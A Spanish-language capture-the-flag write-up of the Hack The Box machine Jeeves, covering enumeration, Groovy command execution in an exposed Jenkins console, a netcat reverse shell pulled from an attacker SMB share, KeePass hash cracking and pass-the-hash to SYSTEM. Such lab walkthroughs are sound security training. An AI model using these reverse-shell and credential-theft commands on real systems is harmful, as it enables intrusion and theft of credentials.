Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Jeeves, la cual tiene una dificultad media. Para lograr vulnerarla realizaremos lo siguiente:
- Fuzzing a un IIS.
- Utilización de la consola de jenkins para ganar acceso al sistema.
- Obtención credenciales a través de archivo .kdbx.
- Pass the hash.
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping
:
1
2
3
4
ping -c 1 10.10.10.63
PING 10.10.10.63 (10.10.10.63) 56(84) bytes of data.
64 bytes from 10.10.10.63: icmp_seq=1 ttl=127 time=138 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS
el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):
1
sudo nmap --open -sS -p- -min-rate 5000 -n -Pn 10.10.11.108 -oG ports
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
4
5
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
50000/tcp open ibm-db2
Realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
sudo nmap -sCV -p80,135,445,50000 10.10.10.63 -oN ServiceScan
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h59m58s, deviation: 0s, median: 4h59m58s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-11T02:09:58
|_ start_date: 2023-02-11T02:00:02
En primer lugar, se observa el puerto 445
abierto, el cual corresponde al servicio smb
, por lo tanto, intentaremos realizar una enumeración del equipo y también si es posible de usuarios o recursos, para ello usaremos diferentes herramientas, la primera es crackmapexec
:
1
2
3
crackmapexec smb 10.10.10.63
SMB 10.10.10.63 445 JEEVES [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
Intentamos listar recursos compartidos mediante smbmap
:
1
2
smbmap -H 10.10.10.63
[!] Authentication error on 10.10.10.63
Pero necesitamos credenciales para poder listar contenido.
Observamos que se tiene el puerto 80 con un servicio http, por lo tanto, utilizamos whatweb para enumerar información:
1
2
whatweb 10.10.10.63
http://10.10.10.63 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.63], Microsoft-IIS[10.0], Title[Ask Jeeves]
Observamos que corresponde a un IIS, sin embargo, nada adicional que no nos reporte nmap, por lo tanto, iremos al navegador para ver qué encontramos:
Tenemos una página, sin embargo, al ingresar un imput nos redirige a una página de error, si vemos el código fuente observamos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>Ask Jeeves</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<form class="form-wrapper cf" action="error.html">
<div class="byline"><p><a href="#">Web</a>, <a href="#">images</a>, <a href="#">news</a>, and <a href="#">lots of answers</a>.</p></div>
<input type="text" placeholder="Search here..." required>
<button type="submit">Search</button>
<div class="byline-bot">Skins</div>
</form>
</body>
</html>
Hace un action hacia la página de error, por lo tanto, esta web no hace nada.
Obsevamos que está abierto el puerto 50000, lo cual es extraño, entraremos a ver que hay:
Encontramos esta página, para descubrir directorios utilizaremos wfuzz:
1
wfuzz -c --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 http://10.10.10.63:50000/FUZZ
Luego, obtenemos un directorio:
1
2
3
4
5
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000041607: 302 0 L 0 W 0 Ch "askjeeves"
Ingresamos a este directorio para ver que hay:
Encontramos un panel de jenkins, si nos fijamos bien existe un área bastante interesante llamada Manage Jenkins, si entramos vemos lo siguiente:
Explotación
Encontramos algo muy interesante, se trata de la script console, la cual permite ejecutar scripts de forma arbitraria utilizando Groovy, si buscamos en la web encontramos la siguiente forma de ingresar comandos:
1
2
3
4
5
println "whoami".execute().text
Result
jeeves\kohsuke
Observamos que podemos ejectuar comandos correctamente, en este punto como es una máquina windows utilizaremos el netcat.exe
, para transferirlo a la máquina víctima utilizaremos impacket-smbserver
, para compartir el netcat
y ejectuar una reverse shell en la máquina víctima:
1
2
3
4
5
6
7
8
9
10
impacket-smbserver shares $(pwd) -smb2support
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Teniendo el servidor smb compartiendo el archivo, dentro de jenkins intentaremos acceder al netcat
y ejectuarlo:
1
println "\\10.10.14.17\shares\nc.exe -e cmd 10.10.14.17 1234".execute().text
Sin embargo, esto falla debido a que el backslash se utiliza para escapar caracteres, entonces haremos uso de doble backslash:
1
println "\\\\10.10.14.17\\shares\\nc.exe -e cmd 10.10.14.17 1234".execute().text
Si observamos el servidor smb, hemos recibido una conexión y si revimos nuestro netcat
:
1
2
3
4
5
6
7
8
9
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.63] 49684
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Users\Administrator\.jenkins>whoami
whoami
jeeves\kohsuke
Hemos conseguido entrar al sistema como el usuario kohsuke, ahora buscaremos la flag:
1
2
3
C:\Users\kohsuke\Desktop>type user.txt
type user.txt
e3232272596fb47950d59c4
Escalada de privilegios
Si vamos abriendo las distintas carpetas del usuario kohsuke, encontramos lo siguiente:
1
2
3
4
5
6
7
Directory of C:\Users\kohsuke\Documents
11/03/2017 10:18 PM <DIR> .
11/03/2017 10:18 PM <DIR> ..
09/18/2017 12:43 PM 2,846 CEH.kdbx
1 File(s) 2,846 bytes
2 Dir(s) 2,642,771,968 bytes free
Encontramos un archivo .kdbx que corresponde a la extensión de keepass, podríamos sacar contraseñas con esto asi que lo traeremos a nuestro equipo a través del smb:
1
2
3
C:\Users\kohsuke\Documents>copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.17\shares
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.17\shares
1 file(s) copied.
De esta forma tenemos el archivo en nuestro equipo. Utilizando la herramienta keepassxc
abrimos este archivo:
Pero este archivo está protegido por contraseña, para intentar obtenerla utilizaremos keepass2john
:
1
2
keepass2john CEH.kdbx
CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48
Este hash lo intentamos romper con john
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:25 0.13% (ETA: 01:53:10) 0g/s 865.8p/s 865.8c/s 865.8C/s kameron1..ilovepeter
0g 0:00:00:32 0.16% (ETA: 01:55:02) 0g/s 862.4p/s 862.4c/s 862.4C/s 101203..060306
moonshine1 (CEH)
1g 0:00:01:08 DONE (2023-02-10 20:21) 0.01456g/s 800.5p/s 800.5c/s 800.5C/s nando1..moonshine1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tenemos que la contraseña es moonshine1, vamos a keepass y la introducimos:
Hemos entrado, si empezamos a revisar de arriba a abajo, encontramos esto:
1
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
Debido a la forma que tiene corresponde a un hash NTLM, si utilizamos el LM podriamos ser capaces de realizar un pass the hash, sin embargo, vamos a verificar con crackmapexec
si esto es válido:
1
2
3
4
crackmapexec smb 10.10.10.63 -u'Administrator' -H 'e0fb1fb85756c24235ff238cbe81fe00'
SMB 10.10.10.63 445 JEEVES [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB 10.10.10.63 445 JEEVES [+] Jeeves\Administrator:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)
Observamos que si es correcto, entonces podemos hacer uso de la utilidad impacket-psexec
para hacer pass the hash:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
impacket-psexec WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra
[*] Requesting shares on 10.10.10.63.....
[*] Found writable share ADMIN$
[*] Uploading file AJsKtBPE.exe
[*] Opening SVCManager on 10.10.10.63.....
[*] Creating service TxXq on 10.10.10.63.....
[*] Starting service TxXq.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Observamos que hemos ganado acceso al sistema como administrador, ahora buscaremos la flag:
1
2
C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere. Look deeper.
Encontramos este mensaje, nos hace pensar que hay información oculta, como en linux pueden existir carpetas que no podemos ver a priori, en windows se llaman ADS, alternative data streams:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\Administrator\Desktop> dir /r /s
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\Administrator\Desktop
11/08/2017 09:05 AM <DIR> .
11/08/2017 09:05 AM <DIR> ..
12/24/2017 02:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
11/08/2017 09:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
Total Files Listed:
2 File(s) 833 bytes
2 Dir(s) 2,641,616,896 bytes free
Observamos que existe el archivo hm.txt:root.txt, entonces utilizando more podemos ver el contenido:
1
2
C:\Users\Administrator\Desktop> more < hm.txt:root.txt
afbc5bd4b615a60648c
¡Bien!
Hemos ganado acceso como administrador.
Nos vemos, hasta la próxima.